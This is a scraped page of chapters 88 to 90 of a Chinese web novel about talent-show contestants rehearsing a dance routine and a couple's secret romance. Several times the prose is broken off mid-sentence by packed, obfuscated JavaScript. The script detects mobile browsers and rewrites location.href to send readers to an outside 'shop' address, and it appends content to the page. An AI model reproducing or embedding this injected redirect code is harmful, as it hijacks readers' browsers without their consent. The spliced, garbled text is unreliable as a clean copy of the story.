p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843824|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋呢,而且是你亲手把烤红薯包进去的,当时你也没缩手啊。” 弹幕:[笑死,这个人是故意和时闻作对来的][时闻从哪里找到了这么个活宝][她说的没错啊,时闻刚刚确实徒手包了刚出炉的烤红薯,也没有烫得来回倒手] 时闻:“…………你回想一下,冬天在路边摆摊卖烤红薯的,是不是都里三层外三层裹得特别严实,戴着帽子和手套?” 刘伶俐偏头想了想:“我上学那会儿,放学路上卖烤红薯的那个老大爷,身体倍儿棒,很少见他戴帽子和口罩。” 弹幕:[抬杠专业户哈哈][笑死,你们看时闻的表情][无奈.jpg][时闻:你莫不是上天派来考验我的] 时闻:“…………但是你就说,符合逻辑的、大众认知的,是不是应该是我刚刚说的那样的。” 刘伶俐考虑了好久好久,才轻轻点头,不情不愿憋出一个“嗯”。 时闻擦了擦并不存在的冷汗:“所以,在无实物表演的时候,因为我们没有实际道具,所以要尽可能地丰富表演细节,让观众身临其境感受到你想传达的人物和情节。” 见刘伶俐没反应,时闻追问:“你明白了吗?” 刘伶俐这才点头:“明白了啦。” 时闻内心OS:太难了,枯萎.jpg。 之后时闻又和刘伶俐做了几组无实物表演练习,其实刘伶俐虽然嘴上不承认,但心里还是明白和认同时闻说的话的,再加上她人聪明,所以接下来的表演她完成得一次比一次好。 时闻的配戏也没的说,都是那种在正式拍戏时可以一条过的水平。 观众人数也实现了激增,不少新进来的人都经历了: 这真的是时闻吗? 哦哦,还真是。 老干部竟然开直播了?为了圈钱吧? 活该,谁叫你喝大酒然后当街打人?是不是行政拘留刚刚放出来啊? 妈呀赚到了,他演技怎么这么好? 小伙子年轻气盛,看人不顺眼直接动手,好像也情有可原啊。 而且这个直播怎么这么搞笑? 真心求问,上哪里花多少钱可以报名时闻小课堂? 直播进行了两个小时,时间一眨眼就过去了,时闻和刘伶俐到后面的一个小时已经不怎么看弹幕了,专心致志交流表演。 直播接近尾声,时闻才惊觉直播间不知何时已经挤了800人,而且他的粉丝数也激增到一千。 他尽力保持冷静,沉稳地对着镜头说:“谢谢大家今天来看我的直播,如果大家有什么意见建议,欢迎给我留言。” 弹幕:[时闻好帅!][话说你们发现没有,时闻好像没有开滤镜哦][哈哈哈还真是,老干部可能不知道还有这个功能][下次直播是什么时候!][两小时太短了!] 时闻:“我还没确定下次什么时候直播,说实话,就连这次的直播都让我犹豫了很久,因为我对这个新兴的方式实在是不熟悉。” 弹幕:[但是你直播得很好!][直播超级成功啊,不像是新人][求求老师不要带货好吗,坚持这个形式][时闻你是我们艺考表演生的大善人][有没有课代表总结一下今天的重难点?] 时闻:“让我和伶俐商量一下,定下直播时间就在主页告诉大家。” 弹幕:[建议老师每周固定时间直播,这样大家好排时间][老师下次上课讲什么内容啊,还是无实物表演吗?][老师老师,能不能推荐一些表演类的书籍?] [话说我刚刚去了老师主页,他竟然发过动态诶,关于群蕉荟萃的] [考古了一下当时的评论,他好像和一个男的同床共枕了??] [什么什么??(ΩДΩ)] [等一等,他好像还和一个叫扬州大劈叉的博主关系密切?] [扬州大劈叉?这个ID很早就进入直播间,从头看到尾,不信你们看观众列表] [OMG!!真的诶] [怎么突然天降大瓜] 眼看弹幕里的讨论越来越如火如荼,时闻直接一句:“那么祝大家下午过得愉快,我们先下播了。” 然后就黑屏了,显示直播结束。 林见微:“………………不能这样啊!这样人家会以为确有其事!!不要啊!!!” 虽然,确实是确有其事。 88.八十八 看完时闻直播,林见微才惊觉已经下午五点了。 就这样华丽丽水灵灵地错过了下午的训练。 但好消息是,她好像不烧了,身体又恢复了轻盈,鼻子和嗓子也没那么堵了。 在宿舍里试走了几圈,又跳了几下,林见微觉得突然一身轻松,还魂一样地生龙活虎起来。 她把中午打包回来还没来得及吃的炒面打开,啪嗒掰开一次性筷子,嗷呜往嘴里送了一大口。 还行,虽然已经冷掉,但是味道还在。 平时她都尽力不吃碳水的,要不是这两天生病身体亏空大,再加上高强度的训练耗费了太多体力,她根本不会碰炒面。 她一边吃着冷掉的炒面,一边给时闻发了条消息:[刚刚的直播我看了哦,你做得很不错。] 时闻秒回:[谢谢,可是他们好像怀疑到你和我了] 林见微:[稳住,下次直播末尾你可以说我们就是同事关系,你的那些图片都是活动主办方提供的,但我们在活动现场确实交流了下业务] 时闻:[嗯嗯,有道理] 林见微:[你还可以说,你是直播新人,所以和许多有经验的主播都做了简短交流,为第一次开播做准备] 时闻:[好,下次我就这么说] 林见微:[刘伶俐他们还适应这边生活吗?] 时闻:[还行,毕竟京南和冬江气候相仿,饮食相似,没什么不适用的。] [你的病怎么样了?] 林见微:[病好了!看了你的直播之后就奇迹般地痊愈了] 时闻:[哈哈,我还是个郎中呢] [那你晚上还训练吗?] 林见微:[嗯][哭哭o(╥﹏╥)o] 时闻:[加油!你需要什么爱心包裹吗,比如,橙子口味的麦芬蛋糕?] 林见微:[不了谢谢][有气无力.jpg] [那我先去训练了,回聊啊] 时闻:[别忘了吃饭,先吃晚饭再去训练] 林见微:[好啦,饿了会吃的,再见,么么] 时闻:[两周后我们就可以真的么么了] 聊完天,炒面吃了一半,林见微把剩饭打包好放在床头,抄起手机直奔练舞室。 结果刚到门口,就迎面赶上有说有笑往外走的一众人。 杜之江正开心地笑着和宫说着什么,见林见微过来,惊喜叫道:“你睡醒了?” 林见微不好意思地挠挠头:“对不起,我也不知道为什么就昏睡过去了。” 杜之江:“没事!身体第一,养好病再训练。我们都准备去吃饭了,一起呀?” 林见微摸了摸盛着半份炒面的肚子,觉得确实还有容量,便点头答应。 羽有点紧张地看着大家,脸上半是尴尬半是羞涩,林见微问他怎么了,羽摇摇头不说话。 直到和大家走到食堂门口,羽突然止住脚步,迎着众人惊讶的目光,不好意思地小声说: “你们先进去吧,我……我想去面试一下那个商务。” 大家这才恍然大悟,纷纷笑道:“这有什么不好意思的,赶快去吧!” 羽这才如蒙特赦一般,飞快地朝二楼奔去。 看着羽的背影,杜之江哈哈笑道:“真是个实诚孩子。” 林见微:“你们去面试了吗?” 杜之江快速摇摇头,叹道:“你是没看见下午201门口排的队!好家伙,从201门口开始足足绕了二楼一整圈,然后又拐下楼梯排到一楼。” 宫也说道:“竞争太激烈了,而且他们只要一个人,100选1的比率,我们还是不去凑这个热闹了,白费功夫,还不如把排队的时间拿来练习呢。” 林见微看了看杜之江,又看了看宫——这两个人最近高度同频。 在来的大巴车上上他们坐同一排,这两天总是差不多同一时间出现在练舞室,看问题的角度也惊人地一致,而且最关键的是,脸上总是挂着如出一辙的如沐春风的笑。 莫非…… 在食堂埋头干了一碗炒粉,林见微心满意足地打了个饱嗝。 杜之江和宫分了一份大份的麻辣香锅,商风卷残云地干完了一份丸子砂锅,几人迅速解决战斗,干饭完毕就无缝衔接回到练舞室。 ——除了商说自己吃饱了犯困,要回宿舍躺着。 大家也不计较,据宫说,商天赋异禀,学东西很快,但高效率高产出的必要前提是,必须吃好睡好,否则就歇菜。 回到练舞室,杜之江和宫给林见微补习了下午错过的部分。 下午的舞蹈课上,蒋方奇讲解了《顶流生活》的第二部分。 这部分上了难度,很多动作其实连杜之江也一知半解,频频记错,宫因为之前训练过这支舞,对各个动作非常熟悉,他非常耐心地纠错,顺便给林见微进行讲解。 在整个过程中,李颂一照例一个人在角落里默默对着镜子练习,她已经把《顶流生活》的整支舞都扒下来了,所以现在练习的是后半部分。 非常令人意外的是,在宫纠正杜之江一个不规范动作时,从很远的地方突然插进一个低沉声音: “是左手放在10点钟方向。” 杜之江、宫、林见微都吓了一跳,就连在不远处练舞的羽也疑惑地停下动作,众人一起循声望去—— 只见李颂一看着众人,一副“你们怎么连这都不会”的轻蔑模样,然后继续自顾自练了下去。 即便如此,众人还是震惊远远大于生气,这太阳打西边出来了,李颂一竟然和他们产生了交流? 而且还是自发的主动的交流。 这也太不可思议了。 因为李颂一很快就重新开始练习,以至于几个人都处在一种“刚刚是不是错觉啊”的恍惚之中。 又练了一个小时,7点差10分的时候商打着哈欠回来了,随意和大家打了个招呼,众人立刻拉着他要和他合练一遍。 练完几遍之后,大家纷纷赞叹:商虽然有点懒散,但是他有资格这么做。 因为他的动作干净漂亮,就连最难的地方也轻松拿下,如鱼得水。 林见微和杜之江看着他利落劲爽的舞步,对视一眼,内心同时在想:要是能把他的身体借给我,该多好啊! 快到7点的时候,羽也回来了,大家立刻停下手中的动作,好奇问他面试得怎么样。 羽一副欲言又止的样子,“嗯啊呃”了半晌,最后还是说:“我感觉我肯定没戏。” 大家被他的样子逗笑:“那可不一定,不要太早下定论嘛。” 羽挠挠头:“最关键的是,他们的产品挺奇怪的,说的不好听一点,有点,不伦不类的,他们的产品经理也有点,呃,二逼的感觉。” 大家一下子来了兴趣,纷纷要求他详细描述一下,羽刚开了个头,门又吱哑一声响。 蒋方奇推门进来,看着大家笑道:“你们还好吗?” 大家立刻跟他打招呼,蒋方奇发现林见微回来了,惊喜道:“病好了吗?” 林见微点头:“养差不多了,这两天其实多亏小伙伴们的不离不弃,细致地讲解了每一个动作,带我练习,不然现在肯定拉下很多功课。” 说着她转身向所有人鞠了个躬,大家纷纷摆手,说不用这么客气,都是应该的。 蒋方奇:“你们组氛围很好啊!互帮互助,这才是我们想要的团队精神。” “既然这样,不如我们先合练一遍试试?” 大家点头说好,李颂一也从角落里默默走过来,大家排好队形,深吸一口气。 其实他们之前完全没一起合过,尤其是今天新学的第二部分,杜之江、林见微和羽都感觉有些吃力。 但既然蒋方奇想看,那就合体演一次试试。 音乐开始,大家迅速进入状态,脑子里加载走位和舞蹈动作,几小节后完美切入,头几个动作完成得整齐漂亮,令蒋方奇暗暗赞叹。 后面几个变化稍多的动作则出现了一些小纰漏,商和杜之江没把握好走位,稍微往两侧偏了一些,但很快调整过来,无伤大雅。 第一部分近乎完美地结束,大家觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847368|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这简直是个奇迹,因为李颂一拢共就和剩下的人合过两遍,商和林见微一个因为懒一个因为生病,也没怎么和大家合练过。 所以能达到这样的效果,已经很烧高香了。 第二部分难度陡然加大,一开始的时候林见微和杜之江都有些力不从心,但还是尽力跟上,之后羽也有点跳脱,动作频频出现失误。 蒋方奇微微皱眉,第二部分后半部分,林见微和杜之江表现渐渐转好,一些高难度动作也完美驾驭,羽则尽力而为,中规中矩,但也不太出彩。 音乐结束,大家气喘吁吁地停在原地,杜之江从脑门上抹了一把汗甩到地上,宫不知从哪里变出一个毛巾,递给脸色红润的她。 大家紧张地看着蒋方奇,不知道他会对此做出什么评论,脑子里转过无数猜想: 如果他说我们跳得是一团垃圾,该怎么办啊啊啊啊啊! 辛苦练了两天了,求鼓励求安慰嘤嘤嘤。 跳得不怎么样,因为其他人拖我后腿。 蒋老师,口下留情,选手的心,脆弱的心! 好像回去睡觉啊……应该早点溜去吃饭的,那样就能多睡会儿。 望着脸色各异的众人,蒋方奇清了清嗓子,缓缓道:“嗯,其实跳得不错。” 林见微、杜之江、宫、羽都立刻松了一口气,爆发出一阵欣喜若狂的叫声。 李颂一和商淡定极了,只是轻轻点头,但心里却觉得:干嘛这么友善,明明跳成了一团浆糊。 蒋方奇又补道:“对于你们现在的水平来说。” 大家立刻表情僵住。 蒋方奇笑了笑:“你们才训练两天,又是B班的选手,跳成这样其实挺出乎我意料的,但是,距离能上台表演的水平,还远远不够。” “你们自己也应该清楚,走位错了几次?动作很规范吗?而且也没有特别整齐划一吧?” “到时候你们还要加上vocal的部分,任务一多就更容易出错。” 林见微、杜之江、宫、羽不约而同地低下头,看着脚尖,心里明白蒋方奇说的没错。 “但你们也不用太过灰心,我们还有时间,而且我每天晚上也在这里赔着大家,”蒋方奇续道,“再练几天,前两部分肯定会有进步。” 李颂一冷不丁地说:“但是还要学习第三和第四部分,那两节更难。” 蒋方奇:“没错,所以时间紧任务重,大家务必加油。” 宫:“没事的,我们还剩下五天,一天学第三节,一天学第四节,剩下三天消化训练加合练,时间够用。” 李颂一耸耸肩:“希望如此。” 晚上剩下的时间大家进行了全情投入挥汗如雨的练习,直到时间来到了11点,依然没人提出回去洗澡睡觉。 最后还是商先坚持不住了,他其实早就把自己的动作和走位记熟了,但想和团队多合练几遍,这样才能确保团队的协调统一。 眼见镜子里大家的动作越来越整齐划一,商觉得今日份的任务完成了,便提出打道回府。 大家当然没拦着,和他道了晚安,然后继续练着。 到了午夜12点,杜之江和宫也力竭,嚷嚷着肚子饿要去吃宵夜,然后洗澡睡觉。 很快屋子里只剩下林见微、羽、李颂一。见一半的队友都走了,李颂一也没打招呼,径自走到自己惯常训练的角落里,对着镜子练习起来。 林见微和羽对看一眼,也不管她,两个人又昏天黑地跳了半个小时,直到身上各个关节都胀满酸痛才罢休。 林见微一边打着哈欠一边往宿舍走,因为关节的酸痛而有些步履蹒跚,脑子里还不停地回忆舞蹈动作,所以当一个不知从哪里冒出来的人突然拦住她时,林见微吓了一大跳。 定睛一看,是个负责节目调度和各项杂事的小姐姐。 小姐姐也吓了一跳,非常不好意思地鞠躬道歉:“对不起,不是故意要冲撞你,呃,你能去趟201吗?” 林见微:“???” 小姐姐欲言又止:“有人要见你……你去了就知道了。” 89.八十九 往201走的路上,林见微的脑子里转过无数猜想。 有人要见她?此人是敌是友? 不会是时穆飞或者高翔的人又来找她事吧? 但也有可能是……时闻偷偷跑来看她? 内心交织着无数念头,林见微一步一步朝201走去。 还没走到门口,林见微就看见房门上贴着一张A4纸,上面写着“商务面试”的字样。 但门前已不复之前的排队盛状,空无一人,房间里也静悄悄的。 深吸一口气,林见微轻轻推开门。 然后她就蚌埠住了。 一个坐在旋转椅上的人两腿翘在桌子上,百无聊赖地转着笔。 见林见微进来,半合的眼瞬间睁开,那人从椅子上弹起来,爆发出一声大叫:“你可来了!” 林见微神色复杂地看着谷煜:“你怎么来了?” 谷煜:“……看来你不是很期待见到我。” 林见微:“……那倒也不是,我练了一天了,太累了。” 谷煜立刻把她请到椅子上,揉肩捶腿,然后问道:“所以你对我的商务洽谈不感兴趣?” 林见微这才把门口那牌子和谷煜本人联系到一起,惊讶道:“是你在找人拍广告?” 谷煜:“怎么,不行吗?笑口现在可是《星璨》名正言顺的代言商,不能找选手拍广告吗?” 林见微:“哦……所以是给舒氧酸奶做宣传?” 谷煜一根手指竖在空中,左右摆了摆:“是一款新产品,你见过的。” 林见微大脑一片空白:“………………什么产品?” 谷煜非常失望,等了好几秒,却见林见微没有一点回忆起来的样子,只得揭晓答案:“是蓝牛啊!你记得吗?” 于是林见微彻底无语了,蓝牛?妈耶,就是那个喝完之后令人无比亢奋,整晚睡不着觉,完事第二天巨困巨累的饮料? 谷煜本人不就是蓝牛的受害者吗?喝完第二天昏昏大睡,还乱说梦话,暴露了自己的暗恋对象…… 林见微哭笑不得:“那产品不是还在研发阶段吗?” 谷煜摇头:“研发结束了!前几天已经正式投入批量生产了。” 看着她的神色,谷煜笑道:“放心,我们调整了里面咖啡因的配比,现在的蓝牛没有之前劲那么大了。” 林见微:“…………好吧我姑且相信你说的。” 谷煜:“我们现在在找人给蓝牛拍广告做宣传,消息一大早就发出去了,可是我在这里等啊等,等过了无数选手,等到花儿都谢了也没看到你。” 林见微以手扶额:“我没想到是你,如果知道……呃,其实也不会过来。” 谷煜大失所望,摇着她的肩膀:“大劈叉!你怎么这么不够意思,为什么不愿意代言蓝牛?” 林见微:“因为,我每天训练时间都不够,哪里还有空拍广告!” 谷煜:“没事,我们的拍摄都在这里完成,你只需要在训练间隙抽出一点点时间就行。” “放心啦,广告只有10秒钟那样,很快就拍摄完成啦。” 林见微阴晴不定地看着他,沉默了好一阵子,才最终慢吞吞点头:“但我只有这周末和下周四以后的时间有空。” 谷煜再次大失所望:“档期这么少啊!我还想跟你请教一些怎么追女孩子的事情呢,唉,你不知道,现在我每天只能问时闻那个榆木疙瘩,多惨啊!” “他这个老处男懂什么啊,说什么可以约女孩子去滑雪,事业上也要积极听从她的建议,这都什么跟什么啊,听他的我和尤有芒肯定没戏。” “哎呀你就行行好帮帮我吧,广告拍不拍也就算了,但是我真的不知道该怎么和尤有芒聊天,你看,她好几天没回我消息,我也不敢问……” 谷煜叨逼叨叨逼叨说了好久,但林见微放空的大脑只听见了三个字:老?处?男? 接下来的几天,谷煜总是会她最意想不到的时候,从角落里跑出来突袭。 比如,当她练了一上午前胸贴后背地奔去食堂时,谷煜却冷不丁地从角落里杀出,或者累了一天了终于可以洗热水澡了,谷煜却守在浴室门口,不知道的还以为他是个变态。 最后经不住软磨硬泡,她终于同意拍摄广告,帮他编辑了微信消息,又根据各种可能出现的情况,详尽拟写了各种各样的回复。 广告拍得倒是顺利,因为过程可以用简陋来形容,谷煜随便找了两个摄像的,让林见微站在楼梯口,满脸都是被迫营业的强颜欢笑,念了几句干巴巴的广告词,就收工了。 整个过程只用了不到半小时,光架设机器收起机器就花了二十分钟。 林见微永远忘不了那两个摄像大哥反复确认没有其他的拍摄任务后,如看傻子一样看着谷煜的神情。 地主家的傻儿子确实不是一般人。 然而谷煜的主线任务,获取尤有芒的好感,却没有实质性进展。 在林见微的帮助下,谷煜成功地获得了尤有芒的回复,并且把两人的交流频率稳定在一天一次。 但尤有芒始终不冷不热的,而且大多数的回复时长都超过了一个小时。 林见微安慰气馁的谷煜:“没事,这种事不能急,要慢慢增进感情,用时间让她逐渐愿意信任你,对你敞开心扉。” “不要太经常给女孩子发消息,不然显得轻浮,不稳重。” 谷煜倒是很认真地听取了她的建议,不骄不躁把要给尤有芒发的信息编辑打磨一百遍,然后每天固定在上午十点左右发出去。 接下来的几天,林见微一直埋头苦练,每天早上七点多去练舞室,大部分时候羽和李颂一已经在那里了,晚上十一点多洗澡回去睡觉。 功夫不负有心,他们确实取得了长足进步,无论是对动作的把控还是团员之间的配合,都渐臻成熟。 蒋方奇也遵守约定,每天晚上都来指导练习,对他们的进步欣慰不已,赞不绝口。 到了周六晚上,训练快结束的时候蒋方奇说:“正式演出的时候你们就这样演,保证惊艳四座,高分通过!” 大家开心地鼓掌,感谢蒋方奇不惜牺牲自己的个人时间的倾力指导。 那天晚上大家为了庆祝,提早两个小时收工,林见微九点多就去了浴室,这时候人不多,她特意多待了一会儿,让热水冲洗掉所有疲惫。 热水果然解乏,冲洗完毕穿衣服的时候,她只觉神清气爽。 不过换衣服的时候,身边那个人看着很是眼熟。 “舒华?”林见微认出来的时候惊讶叫道。 邓舒华好像也没料到能在这时碰到熟人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856055|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓了一跳,转头看是林见微,立刻笑道:“怎么是你!” 两个人虽然是同一寝室的,但最近几天大家早出晚归,通常是你睡着我就走了,或者我回来的时候你已经睡了,根本碰不上面。 此刻在浴室的更衣室相会,倒真是颇为意外。 林见微:“怎么这么早就结束训练了?” 她本以为这是个寻常问题,哪知邓舒华竟脸色一暗,愣了半晌才说道:“有些累,所以打算早点歇着。” 林见微突然反应过来,最近在食堂吃饭或者走在路上时,总能听见人毫不掩饰地把邓舒华的热搜拿出来鞭尸一顿。 大家看不惯这种蹭热度的不齿行为,再加上封闭的环境和高强度的训练,不知道该聊什么的时候,大家就把话题转到邓舒华身上。 几天下来,邓舒华被完全孤立,没人愿意主动和她说话,就连同一组的选手也不想和她合练。 虽然邓舒华唱跳水平都很高,但《顶流生活》依然让她有些力不从心,再加上A班时间紧任务重,又没有蒋方奇的私人指导,所以邓舒华也常常遇到不会的地方。 其他选手会互相抠动作,讲解不会的地方,但都默契地无视了邓舒华的难境。 这导致了邓舒华只能自己埋头苦练,却收效甚微,常常是练了几小时,汗出了一箩筐,舞蹈却毫无实质长进。 眼看周日就要进行第一轮综合评定了,如果不合格,她就要降级去B班。 到时候还要花时间和精力和新的组员重新磨合,而且多丢人啊,第一轮考核的时候她使了各种心机才赚到A班的席位,怎么能说丢就丢。 而且如果第二轮考核再不合格,她甚至有可能掉到C班。 这让她沮丧不已,不太想见人,所以刻意避开了洗澡的高峰期,提前过来速战速决。 没想到碰到了林见微。 林见微猜到了她的难处,安慰道:“认真做好自己的事就行了,不要太计较别人怎么说。成大事者不拘小节,我理解你想红的心。” 一句话让邓舒华瞬间破防,虽然她确实有为了红可以不择手段的心和算计,但毕竟只是个十八九岁的女生,还没经过太多毒打,心里尚有一片脆弱的净土。 此刻听到林见微如此理解自己,更是感动得眼泪哗哗流下,握着她的手哽咽道:“谢谢你这么说。” 林见微也认真握着她的手:“人生中有很多风风雨雨,用不违背良心的方式闯过去就好了。” 邓舒华含泪点头:“我从四五岁就开始学习唱歌跳舞,十岁多一点就独自离家去做练习生,好不容易才得到今天的机会,我不想让这么多年的努力白费,所以无论何种方式都要努力试一试。” “我没做亏心事,对得起我的汗水和努力。” 林见微点头:“对得起自己的心就好,很多人和事终究都是匆匆过客,不要太放在心上。” 两个人说了一会儿,邓舒华主动提出要走:“等会儿这里人就多了,别让别人看见你和我在一起。” 林见微却拉住她:“怕什么?我们没偷没抢,为什么怕被人看见?” 邓舒华感动得无以复加,林见微又说:“干脆我们找个人少的练舞室再练两个小时,你刚刚不是说《顶流生活》里有些动作你做不下来吗?我知道一些技巧,说不定管用。” 90.九十 和邓舒华在一个僻静的练舞室练到11点,林见微成功地让邓舒华如打通了任督二脉一样,对《顶流生活》不少高难度动作完美拿捏。 邓舒华对今晚的成果欣喜不已,一定要再多练一会儿,生怕睡一觉就忘了感觉。 但她催林见微赶紧回去,林见微也确实困了,便起身回了宿舍。 回到寝室,三个室友正热火朝天讨论着明天的综合评定和可能产生的降级/淘汰。 “怎么办,我感觉我要死定了。”这是陈宛若的声音。 “你肯定没问题的啊,我看了你们的排练,挺好的,你肯定不会排到最后几名。”钱雯说。 陈宛若:“可是C班其他组都好强,而且训练也比我们刻苦。” 钱雯:“没事别太担心,我也看了其他班的表演,总体来说你们还挺有优势的。” “而且退一万步讲,就算评委没长眼睛,不小心把你评分到了C班最后两名,你也只是降级到D,不会真的淘汰。” “D班的我才是真的要死定了,呜呜。” 陈宛若:“宝宝你肯定是安全的,你的水平本来就不属于D班,所以肯定不会被淘汰的!” 杜之江也说道:“对啊,而且我看你们排的《沉舟》挺不错的,平时也是见缝插针地练习,成果展现加上平时分,肯定会在D班里高分飘过。” 钱雯苦笑:“高分飘过?那也太奢侈了。我希望不要垫底就行。” “你是没看到其他D班组合的排练,那舞台效果,那整齐程度,那团结力量,唉,哪一项不比我们组强。” 陈宛若:“唉,其实D班也是藏龙卧虎的,有好多大神第一轮没表现好,抑或是节目组故意安排的,都掉到了D班,所以D班竞争也挺激烈的。” 钱雯:“对啊,而且我们翻来覆去只排练《沉舟》,那些大神早就练会了!要是像其他班可以多排练几首,兴许还有点希望。” 林见微推门走了进去,大家见到她都是开心地打招呼,问她病好了吗。 几个人又聊了一会儿明天的综合评定,时间来到午夜12点,大家哈欠连天,最后互道晚安,关灯睡觉。 熄灯之后,林见微被窝里亮起微弱莹光,过了一个多小时才熄灭。 周一下午就要去《冬逝》剧组了,昨天周落用邮件给她发来了完整剧本,叮嘱她务必要在剧本围读之前通读一遍。 通常来说,林见微会至少提前几周就开始研读剧本,用荧光笔标注出自己的台词,反复揣摩人物关系和情绪递进,还会专门写下自己的疑问和感想,为围读会做好充分准备。 但现在情况特殊,时间紧任务重,她实在没精力做太多准备工作,只能利用缝隙时间,尽可能地把剧本读熟。 昨晚睡觉前她读了前半部分,今晚要读完后半部分。 韦宁的剧本写得很流畅,行文措辞也颇为讲究,所以其实整个阅读过程更像是一种享受。 时间很快到了周日,林见微是7点多醒来的,出去洗漱的时候就觉得空气里凝着一股紧张的氛围。 大家从寝室出来的时候大多面无表情,神色僵硬,洗漱区也不复往日的欢声笑语,而是一片压抑的沉默。 食堂里也少了许多欢笑打闹,大家都一脸严肃地闷头吃饭,然后步履匆匆地回到各自的练舞室。 林见微是7点40左右到的练舞室,没想到几乎全员到齐,除了惯常心大懒散的商还没来。 而且看样子,大家好像练习了有一阵子了。 综合评定会在傍晚揭晓,大家这是铆足了劲,抓住最后的机会刷一下平时分。 林见微也跟着连了半个小时,但这两个晚上因为研读《冬逝》的剧本确实睡眠不足,没跳一会儿她就觉得有些吃力。 头脑也闷闷的,感觉还没完全睡醒。 她干脆坐下来,看了会儿手机。 不过这时她才意识到,这两天没怎么收到时闻的消息。 她刚过来的时候,时闻每过几个小时就会微信她一次,尤其是那天她生病的时候,差点因为时闻连打了几个电话,被留在寝室照顾她的钱雯撞破恋情。 这两天她忙得昏天黑地的,所以也没怎么在意,但现在忙里偷闲,突然想起来二人上次联系还是在昨天早上。 当时时闻莫名其妙问她平时喜欢看什么书,她随意回了一下,然后就没有下文了。 林见微的脑子里终于后知后觉地冒出一个大大的问号。 老麦同志这是发什么神经呢? 于是她调出二人的聊天记录,发了个:[早安!][太阳]。 结果等啊等,都刷了半个多小时手机了,还是没回信。 林见微:“………………” 一种莫名的躁郁在心里燃烧,林见微的脑子里转过各种古怪念头: 他究竟在忙什么啊? 他是不是还没起? 他是不是不在乎我了? 哎呀,他不会突然噶了吧。 如果他突然噶了,应该很快就会被发现吧。 毕竟刘伶俐父女就住在楼下,还可以帮忙报警搬尸…… 救命,不要让他噶掉啊啊啊啊 死鬼,为什么不回我消息?? 回我回我!不然要你好看!哼! 杂乱而喧嚣的念头充斥着脑仁,林见微脑壳疼,干脆拍拍屁股站起来,继续练习。 正好这个时候商也来了,于是大家一起合练,这一练就是一个小时。 功夫不负有心人这句话在他们组得到了充分应验,一开始的时候,几人觉得练会《顶流生活》简直是天方夜谭,不可能完成的任务。 但没想到,经过几天的发愤图强和蒋方奇的悉心指导,这段舞蹈竟然被他们硬啃了下来,而且最后一次排练几人配合得极其出彩,如果放在公演舞台上,绝对能震惊四座高分晋级的程度。 大家看着镜子里的自己,又欣喜又感动,林见微、杜之江、羽三人深情相拥,互相拍着肩膀哽咽道:“太不容易了。” 羽热泪盈眶,动情地说:“不管今晚结果如何,我们都尽力超越自我了,这就够了。” 其他几人也受到感染,纷纷从外面拥抱三人,场面变得感人至深,大家都为这几天的汗水和友情流下了动情的泪水。 既然达到了远超原来预期的效果,几人决定今天干脆放个小假庆祝一下,中午去食堂聚餐,下午的时间自由安排,可以在宿舍睡觉刷剧,然后晚上一起等待综合评定的结果。 令人意外的是,李颂一也同意了这个计划。 从前两天开始,李颂一基本参加了每一次的合练,平时虽然依旧在角落里自己练习,但偶尔也慷慨地给林见微和羽指导一下动作。 大家当然希望李颂一能更合群一点,但还是再三确认:“你确定中午可以和我们一起聚餐?”“你不进行自主训练了?”“我们说的是一起聚餐,不是一起训练。” 李颂一不耐烦地摆手:“你们要是再问,我就改主意了。” 大家立刻在惊讶中闭嘴,然后交换一个“太阳打西边出来了”的眼神。 现在距离食堂开饭还有半个多小时的时间,大家干脆四散坐下刷手机玩。 在拿到手机前,林见微心里竟有点小紧张——会不会有来自时闻的未读消息?他会不会解释这两天他在忙什么? 拿起手机,点击锁屏,上面有几条推送消息。 迅速浏览了一下,林见微的心沉了下去。 都是外卖和打车软件的广告。 她不相信地打开微信,找到二人的聊天记录,心想,有时候微信推送会有延迟,现在应该是这个情况吧。 但直到打开二人的聊天界面,林见微才终于彻底死心。 二人的对话还停留在两个小时前,林见微跟他发的那条早安。 这该死的老麦,怎么敢这么久不回消息? 也许是感受到了林见微的躁郁之气,一旁的杜之江好奇而关切地问道:“你怎么了,没事吧?” 林见微连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861008|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆手,然后拿起手机走了出去。 找了个没人的地方,她拨通了时闻的微信电话。 本以为电话要响一阵子,没想到他秒接。 但是,他听上去气喘吁吁的,好像刚进行完一场剧烈运动。 林见微:“……你在干什么?” 时闻:“啊,我在,呃,在家呢,怎么了?” 林见微:“在家怎么这么气喘吁吁的?还有,你为什么不回我消息?” 